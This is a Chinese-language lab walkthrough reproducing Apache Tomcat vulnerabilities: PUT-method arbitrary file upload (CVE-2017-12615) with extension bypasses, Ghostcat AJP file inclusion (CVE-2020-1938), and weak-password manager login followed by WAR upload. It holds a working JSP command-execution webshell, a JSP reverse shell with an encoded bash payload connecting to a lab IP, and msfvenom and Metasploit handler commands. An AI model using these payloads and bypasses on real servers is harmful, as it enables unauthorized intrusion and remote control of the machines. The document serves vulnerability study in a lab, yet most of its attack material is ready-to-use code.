Tomcat漏洞复现
0x01:Tomcat目录结构
1. 一级目录
bin ——Tomcat执行脚本目录
conf ——Tomcat配置文件
lib ——Tomcat运行需要的库文件(JARS)
logs ——Tomcat执行时的LOG文件
temp ——Tomcat临时文件存放目录
webapps ——Tomcat的主要Web发布目录(存放我们自己的JSP,SERVLET,类)
work ——Tomcat的工作目录,Tomcat将翻译JSP文件到的Java文件和class文件放在这里。
2. 二级目录
(1) bin目录下的文件
catalina.sh 用于启动和关闭tomcat服务器
configtest.sh 用于检查配置文件
startup.sh 启动Tomcat脚本
shutdown.sh 关闭Tomcat脚本
(2) conf目录下的文件
server.xml Tomcat的全局配置文件
web.xml 为不同的Tomcat配置的web应用设置缺省值的文件
tomcat-users.xml Tomcat用户认证的配置文件
(3) lib目录下的文件
包含被Tomcat使用的各种各样的jar文件。
(4) logs目录下的文件
localhost_access_log.2013-09-18.txt 访问日志
localhost.2013-09-18.log 错误和其它日志
manager.2013-09-18.log 管理日志
catalina.2013-09-18.log Tomcat启动或关闭日志文件
(5) webapps目录下的文件
含Web应用的程序(JSP、Servlet和JavaBean等)
(6) work目录下的文件
由Tomcat自动生成,这是Tomcat放置它运行期间的中间(intermediate)文件(诸如编译的JSP文件)地方。如果当Tomcat运行时,你删除了这个目录那么将不能够执行包含JSP的页面。
0x02:Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)
1. 漏洞原理
该漏洞称之为Tomcat PUT方法任意写文件漏洞,类似IIS的PUT上传漏洞。该漏洞可以利用HTTP的PUT方法直接上传webshell到目标服务器,从而获取权限。漏洞的产生是由于配置不当(非默认配置),将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,但限制了jsp后缀,不过对于不同平台有多种绕过方法。
漏洞只影响Windows环境,且需要将readonly初始化参数由默认值设置为false,默认配置下无此漏洞,鸡肋漏洞。
本次 Apache Tomcat 两个 CVE 漏洞涉及到 DefaultServlet 和 JspServlet,DefaultServlet 的作用是处理静态文件 ,JspServlet 的作用是处理 jsp 与 jspx 文件的请求,同时 DefaultServlet 可以处理 PUT 或 DELETE 请求,以下是默认配置情况:
除了 jsp 和 jspx 默认是由 org.apache.jasper.servlet.JspServlet
处理,其他默认都是由org.apache.catalina.servlets.DefaultServlet
来处理。
可以看出即使设置 readonly 为 false,默认 tomcat 也不允许 PUT 上传 jsp 和 jspx 文件的,因为后端都用org.apache.jasper.servlet.JspServlet
来处理 jsp 或是 jspx 后缀的请求了,而 JspServlet 中没有 PUT 上传的逻辑,PUT 的代码实现只存在于 DefaultServlet 中。
这个漏洞的根本是通过构造特殊后缀名,绕过了 tomcat 检测,让它用 DefaultServlet 的逻辑去处理请求,从而上传 jsp 文件。
2. 影响版本
影响范围:7.0.0 – 7.0.79
3. 漏洞复现
因为该漏洞是将配置文件(conf/web.xml)中的readonly设置为了false,导致可以使用PUT方法上传任意文件,我们进入docker查看readonly的值是否为False。
我们讲请求方式改成PUT,
成功将文件通过PUT方式传输进去
我们尝试上传jsp文件。这是不允许的。
这个时候就需要绕过了
3.1 绕过上传jsp
对于这种情况可以有多种方式绕过
方法一:Windows下不允许文件以空格结尾
PUT /x.jsp%20 HTTP/1.1
上传到windows会被自动去掉末尾空格
方法二:WindowsNTFS流
PUT /x.jsp::$DATA HTTP/1.1
方法三:文件后面加斜杠(好活)
/在文件名中是非法的,也会被去除(Linux/Windows)
PUT /x.jsp/ HTTP/1.1
成功上传
正常访问
3.2 上传Webshell
上传冰蝎的Webshell
或者上传一句话木马
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
4. 修复方法
/conf/web.xml将readonly的值修改为true
0x03:Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
1. 漏洞原理
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外如果网站应用提供文件上传的功能,攻击者可以先向服务端上传一个内容含有恶意 JSP 脚本代码的文件(上传的文件本身可以是任意类型的文件,比如图片、纯文本文件等),然后利用 Ghostcat 漏洞进行文件包含,从而达到代码执行的危害。
2. 影响版本
Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x < 8.5.51
Apache Tomcat 7.x < 7.0.100
Apache Tomcat 6.x
3. 漏洞复现
3.1 读取文件
通过脚本自动化读取文件,但是该脚本只能读取到webapps/ROOT目录下的文件
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.88.133 -p 8009 -f a.txt
3.2 配合文件上传getshell
众所周知,文件包含可以和文件上传配合一起达到getshell的目的,如果系统存在文件上传的功能,获取可以配合起来。我们将反弹shell的脚本放在webapps/ROOT目录下。脚本内容如下,修改反弹shell的语句即可。
<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjEK}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>
放置在webapps/ROOT目录下。
执行文件包含的脚本
收到反弹的shell
3.3 利用metasploit使用获取shell
msfvenom生成反弹shell的脚本
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.88.133 LPORT=4444 R > shell.txt
复制到webapps/ROOT目录下。
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.88.133
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > run
然后执行文件包含的脚本
获取到shell
0x04:Tomcat7+ 弱口令 && 后台getshell漏洞
1. 漏洞原理
tomcat的后台登录的两个目录为:
/admin
/manager/html
如果版本过高,只有采用弱密码的方式进后台;
有些tomcat采用默认的用户名和密码(用户名:admin,密码:空);
或者我经常遇到的用户名:tomcat,密码:123456或者各种弱密码
2. 漏洞复现
点击manage app,输入tomcat/tomcat登录
进入后台
接着打个war包,我们将冰蝎的shell.jsp压缩成shell.zip,然后修改后缀变成shell.war,上传war包
冰蝎连接成功